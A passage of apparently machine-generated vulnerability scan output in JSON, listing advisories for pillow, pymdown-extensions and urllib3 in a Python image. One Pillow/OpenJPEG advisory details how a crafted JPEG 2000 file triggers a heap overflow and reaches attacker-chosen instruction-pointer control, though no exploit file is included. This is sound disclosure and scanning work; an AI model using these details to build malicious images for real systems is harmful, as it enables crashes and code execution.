{ "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96643", "https://advisory.echohq.com/cve/CVE-2026-96643", "https://github.com/advisories/GHSA-g4qv-2jxx-769h", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c", "https://github.com/python-pillow/Pillow/pull/10073", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h", "https://nvd.nist.gov/vuln/detail/CVE-2026-96643", "https://www.cve.org/CVERecord?id=CVE-2026-96643" ], "PublishedDate": "2026-10-21T21:20:32.797Z", "LastModifiedDate": "2026-10-27T14:26:51.563Z" }, { "VulnerabilityID": "CVE-2026-96644", "VendorIDs": [ "GHSA-9v9v-9qvf-h2hj" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96644", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5e9c668137f519a45b9f97b4d906b6c6cef4e20275210ef95744a373aa688162", "Title": "pillow: Pillow: Denial of Service via out-of-bounds read in metafile parser", "Description": "Pillow is a Python imaging library. Prior to 13.0.0 on Windows, src/PIL/WmfImagePlugin.py passes unchecked 32-bit WMF or EMF dimensions to the native drawwmf handler in src/display.c. The handler sizes a DIB allocation from 16-bit-truncated bcWidth and bcHeight fields but copies pixel data using the original full dimensions. A crafted wide, short metafile can pass the pixel-count decompression-bomb check and make the Windows-only renderer read beyond the heap buffer, potentially disclosing memory or crashing the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96644", "https://advisory.echohq.com/cve/CVE-2026-96644", "https://github.com/advisories/GHSA-9v9v-9qvf-h2hj", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7", "https://github.com/python-pillow/Pillow/pull/10120", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj", "https://nvd.nist.gov/vuln/detail/CVE-2026-96644", "https://www.cve.org/CVERecord?id=CVE-2026-96644" ], "PublishedDate": "2026-10-21T21:20:32.943Z", "LastModifiedDate": "2026-10-28T19:19:28.633Z" }, { "VulnerabilityID": "CVE-2026-96778", "VendorIDs": [ "GHSA-g7cr-3p24-7wf7" ], "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96778", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5edaf0425d61893cb99a3cd84e6c3c7a6ae1f92a0f92e4aa82e34d4be017a17e", "Title": "pillow: pillow: Arbitrary code execution via JPEG encoder buffer overflow", "Description": "Pillow is a Python imaging library. From 9.4.0 until 13.0.0, ImagingJpegEncode() in src/libImaging/JpegEncode.c can call jpeg_write_marker() for a JPEG COM comment when an ICC profile has exactly filled the 65536-byte encoder buffer. libjpeg writes one byte before checking the exhausted free_in_buffer counter, which then wraps and permits the attacker-controlled comment and subsequent compressed image data to overwrite adjacent heap memory. Re-saving an untrusted image as JPEG while preserving its ICC profile and forwarded comment can crash the process and may enable code execution in suitable runtime and heap layouts. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96778", "https://advisory.echohq.com/cve/CVE-2026-96778", "https://github.com/advisories/GHSA-g7cr-3p24-7wf7", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/02561b8dc6117d5670d4b469fecdd02c70854f9b", "https://github.com/python-pillow/Pillow/pull/10124", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g7cr-3p24-7wf7", "https://nvd.nist.gov/vuln/detail/CVE-2026-96778", "https://www.cve.org/CVERecord?id=CVE-2026-96778" ], "PublishedDate": "2026-10-21T21:20:33.093Z", "LastModifiedDate": "2026-10-28T02:17:08.253Z" }, { "VulnerabilityID": "GHSA-78g4-xqwv-q3g8", "PkgName": "pillow", "PkgPath": "usr/local/lib/python3.11/site-packages/pillow-11.3.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@11.3.0", "UID": "1a79997d3c2e465c" }, "InstalledVersion": "11.3.0", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-78g4-xqwv-q3g8", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b0745da68d8904bada9bc707295ca60e23a46378e4324040ccf6309bb555d43e", "Title": "Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()", "Description": "### Summary\n\nEvery Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219\n\nBecause the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings.\n\nI am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users.\n\nNote the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure.\n\n### Details\n\n## Affected wheels\n\nFrom `.github/dependencies.json` (`openjpeg`) at each tag:\n\n| Pillow | bundled OpenJPEG | status |\n|---|---|---|\n| 10.4.0 | 2.5.2 | safe |\n| 11.0.0 | 2.5.2 | safe |\n| **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** |\n| **12.0.0 … 12.3.0** | **2.5.4** | **affected** |\n\nConfirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` → `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06.\n\n## The defect\n\n`src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`:\n\n```c\nOPJ_UINT32 l_current_tile_part =\n l_cstr_index-\u003etile_index[p_j2k-\u003em_current_tile_number].current_tpsno;\nl_cstr_index-\u003etile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos;\nl_cstr_index-\u003etile_index[...].tp_index[l_current_tile_part].end_pos =\n l_current_pos + p_j2k-\u003em_specific_param.m_decoder.m_sot_length + 2;\n```\n\n`tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker.\n\nThe correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index \u0026\u0026 l_current_tile_part \u003c nb_tps)`. One writer checked, its sibling not.\n\nReached by giving the codestream a *valid* TLM marker — so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing — while setting `TNsot = 0` in every SOT, which keeps the TLM \"valid\" and lets `TPsot` walk past the allocation.\n\n## Patch status\n\nFixed upstream in `91d08b11` (\"Fix heap buffer overlfow in opj_j2k_read_sod\", 2026-02-10).\n\nThe newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* — the fix is **in no release, 8 months on**.\n\n## Suggested remediation\n\n1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file.\n2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code.\n3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot.\n\n## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply\n\n`Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway.\n\nI verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`.\n\nThat is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume.\n\n### Proof of concept\n\nASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`:\n\n```\n==766332==ERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\n #0 opj_j2k_read_sod j2k.c:5086\n #1 opj_j2k_read_tile_header j2k.c:9912\n #2 opj_read_tile_header openjpeg.c:575\n #3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793\n #4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949\n #5 _decode src/decode.c:132\nlocated 8 bytes to the right of a 24-byte region allocated by\n opj_j2k_build_tp_index_from_tlm j2k.c:8939\n```\n\nFrames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure.\n\nI have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready.\n\nNo disclosure deadline from me; I will not publish anything while this is being worked on.\n\n### Impact\n\nAny application that calls `Image.open()` / `im.load()` on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file.\n\n**Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker.\n\n**Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls one (event.c:136):\n\n```\nrip 0x4000 \u003c- value chosen by the attacker's file layout\nrsi 0x3ff2 \u003c- m_error_data, written by the same walk\n```\n\nShifting the codestream with a COM marker moves `rip` with it (`0x16ce` → `0x4000`), so the instruction pointer is attacker-**chosen** rather than incidentally invalid. A benign control image leaves the same groomed heap untouched.\n\nTo be explicit about what I did not do: I have **not** built a working exploit. That additionally needs remote heap grooming and an ASLR defeat, and I attempted neither. I am reporting a controlled control-flow primitive, not a finished chain. The CVSS AC:H reflects that.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-78g4-xqwv-q3g8", "https://github.com/advisories/GHSA-78g4-xqwv-q3g8", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/5f8114c8096b181fae493543cd3837d9f9a971cc", "https://github.com/python-pillow/Pillow/commit/d3470c327840f4c216a1610f30e7091dfd0b97c0", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-78g4-xqwv-q3g8", "https://github.com/uclouvain/openjpeg/commit/91d08b11a72764f6d199f32fa0c1b1abd4edc2ad", "https://osv.dev/vulnerability/OSV-2025-219" ], "PublishedDate": "2026-10-22T17:01:08Z", "LastModifiedDate": "2026-10-22T17:01:08Z" }, { "VulnerabilityID": "CVE-2026-67422", "VendorIDs": [ "GHSA-gm37-52c6-37mw" ], "PkgName": "pymdown-extensions", "PkgPath": "usr/local/lib/python3.11/site-packages/pymdown_extensions-10.19.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pymdown-extensions@10.19.1", "UID": "3ee941c42f0ad8b2" }, "InstalledVersion": "10.19.1", "FixedVersion": "11.0.1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-67422", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:300f64e18cb3eb6dc9b6e3aa626cbcfa0c5ffff23ed8dc986d64f32aa9a5cba6", "Title": "pymdown-extensions: Pymdown-extensions: Denial of Service via Regular Expression Vulnerability", "Description": "pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.", "Severity": "HIGH", "CweIDs": [ "CWE-1333" ], "VendorSeverity": { "ghsa": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-67422", "https://advisory.echohq.com/cve/CVE-2026-67422", "https://github.com/advisories/GHSA-gm37-52c6-37mw", "https://github.com/facelessuser/pymdown-extensions", "https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b", "https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw", "https://nvd.nist.gov/vuln/detail/CVE-2026-67422", "https://www.cve.org/CVERecord?id=CVE-2026-67422" ], "PublishedDate": "2026-08-06T22:18:21.6Z", "LastModifiedDate": "2026-10-24T16:10:00.153Z" }, { "VulnerabilityID": "CVE-2026-21441", "VendorIDs": [ "GHSA-38jv-5279-wg99" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.2", "UID": "ec2fbcd6436a5e43" }, "InstalledVersion": "2.6.2", "FixedVersion": "2.6.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-21441", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:8830887e22d89a32431f28f32db578333929f6c859a5cb52e580894195bb375b", "Title": "urllib3: urllib3 vulnerable to decompression-bomb safeguard bypass when following HTTP redirects (streaming API)", "Description": "urllib3 is an HTTP client library for Python. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when `preload_content=False`. If upgrading is not immediately possible, disable redirects by setting `redirect=False` for requests to untrusted source.", "Severity": "HIGH", "CweIDs": [ "CWE-409" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "cbl-mariner": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H", "V3Score": 7.5, "V40Score": 8.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:0981", "https://access.redhat.com/errata/RHSA-2026:0990", "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:1038", "https://access.redhat.com/errata/RHSA-2026:1041", "https://access.redhat.com/errata/RHSA-2026:1042", "https://access.redhat.com/errata/RHSA-2026:1086", "https://access.redhat.com/errata/RHSA-2026:1087", "https://access.redhat.com/errata/RHSA-2026:1088", "https://access.redhat.com/errata/RHSA-2026:1089", "https://access.redhat.com/errata/RHSA-2026:1166", "https://access.redhat.com/errata/RHSA-2026:1168", "https://access.redhat.com/errata/RHSA-2026:1176", "https://access.redhat.com/errata/RHSA-2026:1224", "https://access.redhat.com/errata/RHSA-2026:1226", "https://access.redhat.com/errata/RHSA-2026:1239", "https://access.redhat.com/errata/RHSA-2026:1240", "https://access.redhat.com/errata/RHSA-2026:1241", "https://access.redhat.com/errata/RHSA-2026:1254", "https://access.redhat.com/errata/RHSA-2026:1485", "https://access.redhat.com/errata/RHSA-2026:14877", "https://access.redhat.com/errata/RHSA-2026:1504", "https://access.redhat.com/errata/RHSA-2026:1546", "https://access.redhat.com/errata/RHSA-2026:1596", "https://access.redhat.com/errata/RHSA-2026:1599", "https://access.redhat.com/errata/RHSA-2026:1609", "https://access.redhat.com/errata/RHSA-2026:1618", "https://access.redhat.com/errata/RHSA-2026:1619", "https://access.redhat.com/errata/RHSA-2026:1652", "https://access.redhat.com/errata/RHSA-2026:1674", "https://access.redhat.com/errata/RHSA-2026:1676", "https://access.redhat.com/errata/RHSA-2026:1693", "https://access.redhat.com/errata/RHSA-2026:1704", "https://access.redhat.com/errata/RHSA-2026:1706", "https://access.redhat.com/errata/RHSA-2026:1712", "https://access.redhat.com/errata/RHSA-2026:1717", "https://access.redhat.com/errata/RHSA-2026:1726", "https://access.redhat.com/errata/RHSA-2026:1729", "https://access.redhat.com/errata/RHSA-2026:1730", "https://access.redhat.com/errata/RHSA-2026:1734", "https://access.redhat.com/errata/RHSA-2026:1735", "https://access.redhat.com/errata/RHSA-2026:1736", "https://access.redhat.com/errata/RHSA-2026:17456", "https://access.redhat.com/errata/RHSA-2026:17457", "https://access.redhat.com/errata/RHSA-2026:17460", "https://access.redhat.com/errata/RHSA-2026:17461", "https://access.redhat.com/errata/RHSA-2026:17462", "https://access.redhat.com/errata/RHSA-2026:17463", "https://access.redhat.com/errata/RHSA-2026:1791", "https://access.redhat.com/errata/RHSA-2026:1792", "https://access.redhat.com/errata/RHSA-2026:1793", "https://access.redhat.com/errata/RHSA-2026:1794", "https://access.redhat.com/errata/RHSA-2026:1803", "https://access.redhat.com/errata/RHSA-2026:1805", "https://access.redhat.com/errata/RHSA-2026:1942", "https://access.redhat.com/errata/RHSA-2026:1957", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:2106", "https://access.redhat.com/errata/RHSA-2026:2126", "https://access.redhat.com/errata/RHSA-2026:2137", "https://access.redhat.com/errata/RHSA-2026:2139", "https://access.redhat.com/errata/RHSA-2026:2144", "https://access.redhat.com/errata/RHSA-2026:2256", "https://access.redhat.com/errata/RHSA-2026:2456", "https://access.redhat.com/errata/RHSA-2026:2500", "https://access.redhat.com/errata/RHSA-2026:25127", "https://access.redhat.com/errata/RHSA-2026:2563", "https://access.redhat.com/errata/RHSA-2026:2681", "https://access.redhat.com/errata/RHSA-2026:2695", "https://access.redhat.com/errata/RHSA-2026:2717", "https://access.redhat.com/errata/RHSA-2026:2718", "https://access.redhat.com/errata/RHSA-2026:2723", "https://access.redhat.com/errata/RHSA-2026:2728", "https://access.redhat.com/errata/RHSA-2026:2760", "https://access.redhat.com/errata/RHSA-2026:2762", "https://access.redhat.com/errata/RHSA-2026:2764", "https://access.redhat.com/errata/RHSA-2026:2765", "https://access.redhat.com/errata/RHSA-2026:28043", "https://access.redhat.com/errata/RHSA-2026:28441", "https://access.redhat.com/errata/RHSA-2026:2900", "https://access.redhat.com/errata/RHSA-2026:2911", "https://access.redhat.com/errata/RHSA-2026:2919", "https://access.redhat.com/errata/RHSA-2026:2924", "https://access.redhat.com/errata/RHSA-2026:2925", "https://access.redhat.com/errata/RHSA-2026:2926", "https://access.redhat.com/errata/RHSA-2026:3296", "https://access.redhat.com/errata/RHSA-2026:33154", "https://access.redhat.com/errata/RHSA-2026:3406", "https://access.redhat.com/errata/RHSA-2026:3444", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:3713", "https://access.redhat.com/errata/RHSA-2026:3782", "https://access.redhat.com/errata/RHSA-2026:3869", "https://access.redhat.com/errata/RHSA-2026:3874", "https://access.redhat.com/errata/RHSA-2026:3884", "https://access.redhat.com/errata/RHSA-2026:3960", "https://access.redhat.com/errata/RHSA-2026:4185", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:4215", "https://access.redhat.com/errata/RHSA-2026:4271", "https://access.redhat.com/errata/RHSA-2026:4466", "https://access.redhat.com/errata/RHSA-2026:4467", "https://access.redhat.com/errata/RHSA-2026:44696", "https://access.redhat.com/errata/RHSA-2026:51357", "https://access.redhat.com/errata/RHSA-2026:5459", "https://access.redhat.com/errata/RHSA-2026:61628", "https://access.redhat.com/errata/RHSA-2026:6287", "https://access.redhat.com/errata/RHSA-2026:6292", "https://access.redhat.com/errata/RHSA-2026:8151", "https://access.redhat.com/errata/RHSA-2026:8500", "https://access.redhat.com/errata/RHSA-2026:8501", "https://access.redhat.com/security/cve/CVE-2026-21441", "https://advisory.echohq.com/cve/CVE-2026-21441", "https://bugzilla.redhat.com/2419455", "https://bugzilla.redhat.com/2419467", "https://bugzilla.redhat.com/2427726", "https://bugzilla.redhat.com/show_bug.cgi?id=2419455", "https://bugzilla.redhat.com/show_bug.cgi?id=2419467", "https://bugzilla.redhat.com/show_bug.cgi?id=2427726", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66418", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66471", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-21441", "https://errata.almalinux.org/9/ALSA-2026-1239.html", "https://errata.rockylinux.org/RLSA-2026:1087", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b", "https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99", "https://linux.oracle.com/cve/CVE-2026-21441.html", "https://linux.oracle.com/errata/ELSA-2026-1254.html", "https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-21441", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-21441.json", "https://ubuntu.com/security/notices/USN-7955-1", "https://ubuntu.com/security/notices/USN-7955-2", "https://ubuntu.com/security/notices/USN-8010-1", "https://www.cve.org/CVERecord?id=CVE-2026-21441" ], "PublishedDate": "2026-01-07T22:15:44.04Z", "LastModifiedDate": "2026-09-15T12:16:58.133Z" }, { "VulnerabilityID": "CVE-2026-44431", "VendorIDs": [ "GHSA-qccp-gfcp-xxvc" ], "PkgName": "urllib3", "PkgPath": "usr/local/lib/python3.11/site-packages/urllib3-2.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.2", "UID": "ec2fbcd6436a5e43" }, "InstalledVersion": "2.6.2", "FixedVersion": "2.7.0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44431", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:61b906c3a32969b04c5f3c5acb68ea9d04bcfa7d8eb6cca3bad794c6eeff7365", "Title": "urllib3: urllib3: Information disclosure via cross-origin redirects forwarding sensitive headers", "Description": "urllib3 is an HTTP client library for Python. From 1.23 to before 2.7.0, cross-origin redirects followed from the low-level API via ProxyManager.connection_from_url().urlopen(..., assert_same_host=False) still forward these sensitive headers. This vulnerability is fixed in 2.7.0.", "Severity": "HIGH", "CweIDs": [ "CWE-200" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "ghsa": 3, "nvd": 2, "oracle-oval": 2, "photon": 2, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V3Score": 5.3, "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "V3Score": 5.3 }, "redhat": { "V3Vector": 